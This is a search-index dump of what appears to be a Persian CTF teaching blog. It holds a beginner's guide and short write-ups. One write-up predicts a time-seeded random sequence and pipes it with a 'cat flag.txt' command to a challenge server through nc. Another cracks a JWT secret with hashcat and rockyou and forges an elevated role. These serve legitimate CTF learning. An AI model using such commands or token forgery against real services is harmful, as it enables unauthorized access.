\u0628\u0639\u062f \u0627\u0632 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647 \u0628\u0627\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u0645\u0637\u0627\u0644\u0639\u0647 \u0645\u0646\u0627\u0628\u0639 \u0622\u0645\u0648\u0632\u0634\u06cc \u0645\u062e\u062a\u0644\u0641 (\u0648\u0628\u0633\u0627\u06cc\u062a\u060c \u06a9\u062a\u0627\u0628\u060c \u0628\u0644\u0627\u06af) \u06a9\u0646\u06cc\u062f \u062a\u0627 \u062f\u0627\u0646\u0634 \u067e\u0627\u06cc\u0647 \u0622\u0646 \u062d\u0648\u0632\u0647 \u06a9\u0633\u0628 \u06a9\u0646\u06cc\u062f. \u06cc\u06a9 \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u062e\u0648\u0628 \u062f\u0631 \u0627\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647 \u0628\u062e\u0634 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0633\u0627\u06cc\u062a picoctf \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0647\u0645 \u0628\u0647 \u0634\u06a9\u0644 \u062a\u062e\u0635\u0635\u06cc \u0631\u0648\u06cc \u06cc\u06a9 \u062d\u0648\u0632\u0647 \u062e\u0627\u0635 \u0622\u0645\u0648\u0632\u0634 \u06cc\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u062f.

PWN \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 osint \u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc \u0648\u0628

\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0645\u0637\u0627\u0644\u0639\u0647 \u0647\u0631 \u062d\u0648\u0632\u0647\u060c \u0646\u06cc\u0627\u0632 \u0628\u0647 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0645\u0627\u0646\u0646\u062f Wireshark pwntools \u060cJohn the Ripper \u0648 \u063a\u06cc\u0631\u0647 \u062f\u0627\u0631\u06cc\u062f \u06a9\u0647 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0647\u0645\u06cc\u0646 \u0633\u0627\u06cc\u062a\u060c \u0645\u0627 \u062f\u0631 \u0647\u0631 \u0628\u062e\u0634 \u0633\u0639\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0631\u0627 \u0628\u0647 \u0645\u0631\u0648\u0631 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u06cc\u0645.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-ctf","title":"\u06f3- \u067e\u06cc\u0648\u0633\u062a\u0646 \u0628\u0647 \u06af\u0631\u0648\u0647\u200c\u0647\u0627\u06cc CTF","text":"

\u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u062a\u0642\u0648\u06cc\u062a \u0645\u0647\u0627\u0631\u062a \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0627\u0641\u0631\u0627\u062f \u0628\u0627 \u062a\u062c\u0631\u0628\u0647 \u0648 \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0627\u0633\u062a. \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u0628\u0639 \u0627\u0631\u0632\u0634\u0645\u0646\u062f\u06cc \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0633\u0631\u0639\u062a \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062d\u062a\u06cc \u0641\u0631\u0635\u062a\u200c\u0647\u0627\u06cc \u0634\u063a\u0644\u06cc \u0622\u06cc\u0646\u062f\u0647 \u0628\u0627\u0634\u062f. \u0634\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc \u0645\u0627\u0646\u0646\u062f \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f\u060c \u062a\u0644\u06af\u0631\u0627\u0645 \u0648 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u0639\u0636\u0648 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc CTF \u0634\u0648\u06cc\u062f \u062a\u0627 \u0633\u0648\u0627\u0644\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u067e\u0631\u0633\u06cc\u062f \u06cc\u0627 \u0628\u0647 \u0633\u0648\u0627\u0644\u0627\u062a \u062f\u06cc\u06af\u0631\u0627\u0646 \u067e\u0627\u0633\u062e \u062f\u0647\u06cc\u062f. \u062f\u0631 \u06a9\u0644 \u0627\u06cc\u0646 \u062a\u0639\u0627\u0645\u0644\u0627\u062a \u0628\u0627\u0639\u062b \u0627\u0641\u0632\u0627\u06cc\u0634 \u0645\u0647\u0627\u0631\u062a \u0634\u0645\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u06af\u0631\u0648\u0647\u200c\u0647\u0627 \u0648 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF \u062f\u0631 Discord \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f Hack The Box \u060cCapture The Flag \u0628\u067e\u06cc\u0648\u0646\u062f\u06cc\u062f. \u062f\u0631 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u0646\u06cc\u0632 \u0628\u0627 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0627\u0641\u0631\u0627\u062f \u0645\u0639\u0631\u0648\u0641 \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF (\u0645\u062b\u0644 \u062a\u06cc\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 ) \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0627\u062e\u0628\u0627\u0631 \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0622\u06af\u0627\u0647 \u0634\u0648\u06cc\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-write-up","title":"\u06f4- \u062e\u0648\u0627\u0646\u062f\u0646 Write-up","text":"

\u0634\u0627\u06cc\u062f \u0645\u0647\u0645\u200c\u062a\u0631\u06cc\u0646 \u0639\u0627\u0645\u0644 \u0628\u0631\u0627\u06cc \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062a\u0642\u0648\u06cc\u062a \u062f\u0631 CTF \u062e\u0648\u0627\u0646\u062f\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u06cc\u0627 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634 \u062a\u0648\u0633\u0637 \u062f\u06cc\u06af\u0631\u0627\u0646 \u0627\u0633\u062a. \u062e\u0648\u0627\u0646\u062f\u0646 \u0645\u062f\u0627\u0648\u0645 \u0631\u0627\u06cc\u062a\u0627\u067e \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u0645\u06a9 \u0632\u06cc\u0627\u062f \u0628\u0647 \u062a\u0642\u0648\u06cc\u062a \u0634\u0645\u0627 \u06a9\u0646\u062f. \u06af\u0627\u0647\u06cc \u0646\u0648\u0634\u062a\u0646 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0628\u0631\u0627\u06cc \u062e\u0648\u062f \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062e\u0644\u0627\u0635\u0647 \u06cc\u0627 \u0646\u06a9\u062a\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627\u0646\u062f\u06af\u0627\u0631\u06cc \u0622\u0646 \u062f\u0631 \u0630\u0647\u0646 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_2","title":"\u06f5- \u062a\u0645\u0631\u06cc\u0646 \u0645\u0646\u0638\u0645 \u0648 \u067e\u06cc\u0648\u0633\u062a\u0647","text":"

\u06af\u0627\u0647\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u06a9\u0627\u0641\u06cc \u0646\u06cc\u0633\u062a \u0648 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0647 \u0686\u0627\u0644\u0634 \u0628\u06a9\u0634\u06cc\u062f \u0648 \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u06cc\u06a9 \u0686\u0627\u0644\u0634 CTF \u06a9\u0646\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u06cc\u06a9 \u0645\u062f\u062a \u0632\u0645\u0627\u0646\u06cc \u0631\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0635\u0631\u0641 \u06a9\u0646\u06cc\u062f \u0648 \u0627\u06af\u0631 \u0647\u0646\u0648\u0632 \u06af\u06cc\u0631 \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u062f \u0633\u067e\u0633 \u0628\u0647 \u062f\u0646\u0628\u0627\u0644 \u06cc\u06a9 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u0628\u0627\u0634\u06cc\u062f \u06cc\u0627 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647 \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u062f.

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 wargame \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u06cc \u0627\u0633\u062a \u0632\u06cc\u0631\u0627 \u0634\u0645\u0627 \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647 \u06a9\u0627\u0641\u06cc \u0632\u0645\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f \u062a\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 CTF \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0646\u06cc\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0628\u0627\u0644\u0627 \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u062a\u062e\u0635\u0635\u06cc \u0631\u0648\u06cc \u06cc\u06a9 \u062f\u0633\u062a\u0647 \u0645\u062a\u0645\u0631\u06a9\u0632 \u0628\u0648\u062f\u0646\u062f\u060c \u062f\u0631 \u0632\u06cc\u0631 \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0647\u0645\u0647 \u062d\u0648\u0632\u0647\u200c\u0647\u0627 \u062f\u0627\u0631\u0646\u062f \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u06cc\u0645. \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0637\u062d \u0645\u0628\u062a\u062f\u06cc \u062a\u0627 \u062f\u0634\u0648\u0627\u0631 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u062a\u0645\u0631\u06cc\u0646 \u06a9\u0631\u062f\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

- \u062a\u0648\u0635\u06cc\u0647: \u062f\u0631 \u0627\u06cc\u0646 \u0628\u06cc\u0646 picoctf \u0634\u0627\u06cc\u062f \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u200c\u062a\u0631\u06cc \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0628\u0627\u0634\u062f.

\u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc wargame \u0645\u0639\u0631\u0648\u0641

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_3","title":"\u06f6- \u0634\u0631\u06a9\u062a \u06a9\u0631\u062f\u0646 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647","text":"

\u0631\u0627\u0647 \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0648 \u062a\u0642\u0648\u06cc\u062a \u0645\u0647\u0627\u0631\u062a \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0627\u062f\u0646 \u0627\u0633\u062a. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0646\u062f\u06a9\u06cc \u0628\u0627 \u062d\u0648\u0632\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0622\u0646\u200c\u0647\u0627 \u0622\u0634\u0646\u0627 \u0634\u062f\u06cc\u062f \u0648\u0642\u062a \u062e\u0648\u0628\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0633\u0627\u06cc\u062a ctftime \u0633\u0631 \u0628\u0632\u0646\u06cc\u062f. \u0628\u0647\u062a\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0628\u062a\u062f\u0627 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a\u06cc \u0628\u0627 \u0648\u0632\u0646 \u06a9\u0645 (\u06f0 \u062a\u0627 \u06f2\u06f5) \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f \u0686\u0648\u0646 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0627\u06cc\u0646 \u0639\u0631\u0635\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f.

- \u062a\u0648\u0635\u06cc\u0647:

\u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0627\u06cc\u0646 \u0645\u0648\u0627\u0631\u062f \u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639 \u0645\u0646\u0627\u0633\u0628\u06cc \u0628\u0627\u0634\u062f \u0648 \u0634\u0645\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u06a9\u0645\u06a9 \u06a9\u0646\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"misc/","title":"\u0645\u062a\u0641\u0631\u0642\u0647","text":"

\u0645\u062a\u0641\u0631\u0642\u0647\u061f

\u06cc\u0639\u0646\u06cc \u0686\u06cc\u061f

\u0647\u0631 \u0686\u0644\u0646\u062c\u06cc \u06a9\u0647 \u06cc\u06a9\u0645 \u0627\u0632 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0647\u0627\u06cc \u0645\u0631\u0633\u0648\u0645 \u062f\u0648\u0631 \u0628\u0627\u0634\u0647\u060c \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0686\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0628\u0627\u0634\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0645\u0627 \u0647\u0645 \u06a9\u0647 \u0628\u0647\u0634\u0648\u0646 \u0631\u062d\u0645 \u0646\u0645\u06cc\u06a9\u0646\u06cc\u0645

\u062a\u0648 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u0647\u0645\u0647 \u0686\u06cc\u0632 \u0631\u0648 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u0627\u0632 \u0631\u06cc\u0648\u0631\u0633 \u0628\u06af\u06cc\u0631 \u062a\u0627 \u06a9\u0631\u06cc\u067e\u062a\u0648 \u0627\u0632 \u0627\u0633\u062a\u06af\u0627\u0646\u0648\u06af\u0631\u0627\u0641\u06cc \u0628\u06af\u06cc\u0631 \u062a\u0627 \u0634\u0628\u06a9\u0647

\u0648\u0644\u06cc \u062e\u0648\u0628 \u0686\u0648\u0646 \u06cc\u06a9\u0645 \u0627\u0632 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062f\u0648\u0631 \u0634\u062f\u0646\u060c \u0631\u0627\u062d\u062a \u062a\u0631 \u0645\u06cc\u0634\u0647 \u062d\u0644\u0634\u0648\u0646 \u06a9\u0631\u062f \u0627\u0645\u0627 \u062e\u0648\u0628 \u062a\u0631\u06a9\u06cc\u0628\u06cc\u0646

\u0627\u0628\u0632\u0627\u0631 \u062e\u0627\u0635\u06cc \u0646\u0645\u06cc\u0634\u0647 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0631\u062f \u0628\u0631\u0627\u0634\u0648\u0646

\u06cc\u0627 \u062d\u062f\u0627\u0642\u0644 \u0627\u0628\u0632\u0627\u0631\u06cc \u06a9\u0647 \u062a\u0648 \u0628\u0642\u06cc\u0647 \u0632\u0645\u06cc\u0646\u0647 \u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646 (\u0648 \u062a\u0648 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627\u06af \u0628\u0647\u0634\u0648\u0646 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647) \u0631\u0648 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u06a9\u0627\u0631 \u06af\u0631\u0641\u062a \u0628\u0639\u0644\u0627\u0648\u0647 \u06cc\u0647 \u0686\u0646\u062f \u062a\u0627 \u0627\u0628\u0632\u0627\u0631 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u06af\u0627\u0646\u0648\u06af\u0631\u0627\u0641\u06cc \u0648 \u06cc\u0647 \u0686\u0646\u062f \u062a\u0627 \u0632\u0645\u06cc\u0646\u0647 \u062f\u06cc\u06af\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646

"},{"location":"misc/Tools/","title":"\u0627\u0628\u0632\u0627\u0631 \u0645\u062a\u0641\u0631\u0642\u0647","text":"

Steganography

"},{"location":"misc/writeups/BackdoorCTF/Fruit-Basket/","title":"Fruit Basket","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

#include <stdio.h>\n#include <time.h>\n#include <stdlib.h>\n#include <string>\n#include <unistd.h>\n\nint main()\n{\n    unsigned int v3; // eax\n    char *fruits[10] = {\"Apple\", \"Orange\", \"Mango\", \"Banana\", \"Pineapple\", \"Watermelon\", \"Guava\", \"Kiwi\", \"Strawberry\", \"Peach\"};\n\n    int i; // [rsp+Ch] [rbp-24h]\n\n    v3 = time(0);\n    srand(v3);\n\n    usleep(4000000);\n\n    for (i = 0; i <= 49; ++i)\n    {\n        printf(\"%s\\n\", fruits[rand() % 10]);\n    }\n    printf(\"cat flag.txt\\n\");\n    return 0;\n}\n
\u0627\u06cc\u0646 \u06a9\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648 \u0633\u0648\u0631\u0633 \u0686\u0644\u0646\u062c \u062f\u0631\u0627\u0648\u0645\u062f\u0647 \u0631\u0648 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0686\u0648\u0646 \u0633\u06cc\u062f \u0631\u0646\u062f\u0648\u0645 \u0631\u0648\u06cc \u062a\u0627\u06cc\u0645 \u0633\u062a \u0634\u062f\u0647\u060c \u0631\u0646\u062f\u0648\u0645 \u0647\u0627\u06cc \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0648 \u06a9\u0644\u0627\u06cc\u0646\u062a \u0628\u0631\u0627\u0628\u0631 \u0627\u0646

\u0628\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 nc \u067e\u0627\u06cc\u067e \u0645\u06cc\u06a9\u0646\u06cc\u0645

./main|nc 34.70.212.151 8006\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Begineer","C","Random"]},{"location":"misc/writeups/BackdoorCTF/Secret-of-Kurama/","title":"Secret of Kurama","text":"

\u0627\u0648\u0644 \u06a9\u0627\u0631 jwt \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u0631\u0648 \u0628\u0627 hashcat \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0631\u0648 \u06a9\u0631\u06a9 \u0628\u0627 \u067e\u0633\u0648\u0631\u062f \u0644\u06cc\u0633\u062a rockyou

hashcat eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ -m 16500 -w 2 rockyou.txt\n
\u067e\u0633\u0648\u0631\u062f \u06a9\u0631\u06a9 \u0645\u06cc\u0634\u0647 minato

{\n    \"username\": \"Naruto\",\n    \"role\": \"NineTails\"\n}\n
\u0628\u0639\u062f \u0627\u06cc\u0646 \u062c\u06cc\u0633\u0648\u0646 \u0631\u0648 \u0628\u0627 \u06a9\u062f jwt \u0633\u0627\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0641\u0631\u0633\u062a\u06cc\u0645 \u0633\u0645\u062a \u0633\u0631\u0648\u0631

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Begineer","JWT","Crack"]},{"location":"misc/writeups/DUCTF/intercept/","title":"\u0686\u0627\u0644\u0634 Intercepted Transmissions","text":"

\u0641\u0627\u06cc\u0644 \u062a\u06a9\u0633\u062a \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0628\u0647 \u0686\u0627\u0644\u0634 \u0634\u0627\u0645\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0635\u0641\u0631 \u0648 \u06cc\u06a9 \u0645\u062a\u0648\u0627\u0644\u06cc \u0647\u0633\u062a. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062a\u0648\u0636\u06cc\u062d \u0633\u0648\u0627\u0644\u060c \u0647\u06cc\u0646\u062a\u06cc \u06a9\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 CCIR476 \u06a9\u0647 \u06cc\u06a9 \u0627\u0646\u06a9\u062f\u06cc\u0646\u06af \u0642\u062f\u06cc\u0645\u06cc \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0642\u0627\u0644 \u062f\u0627\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u0631\u0627\u062f\u06cc\u0648\u06cc\u06cc \u0628\u0627 \u0642\u0627\u0628\u0644\u06cc\u062a \u062a\u0634\u062e\u06cc\u0635 \u0648 \u0627\u0635\u0644\u0627\u062d \u062e\u0637\u0627\u0647\u0627\u06cc \u06cc\u06a9 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a \u06a9\u062f \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0628\u0627 \u0627\u06cc\u0646 \u0631\u0648\u0634 \u06a9\u062f \u06a9\u0631\u062f\u0646 \u0648 \u0686\u06af\u0648\u0646\u06af\u06cc \u0646\u0648\u0634\u062a\u0646 \u06a9\u062f \u0627\u0646\u06a9\u0648\u062f\u0631 \u0648 \u062f\u06cc\u06a9\u0648\u062f\u0631\u060c \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u0644\u06cc\u0646\u06a9 \u06f1 \u0648 \u0644\u06cc\u0646\u06a9 \u06f2 \u0648 \u0644\u06cc\u0646\u06a9 \u06f3 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

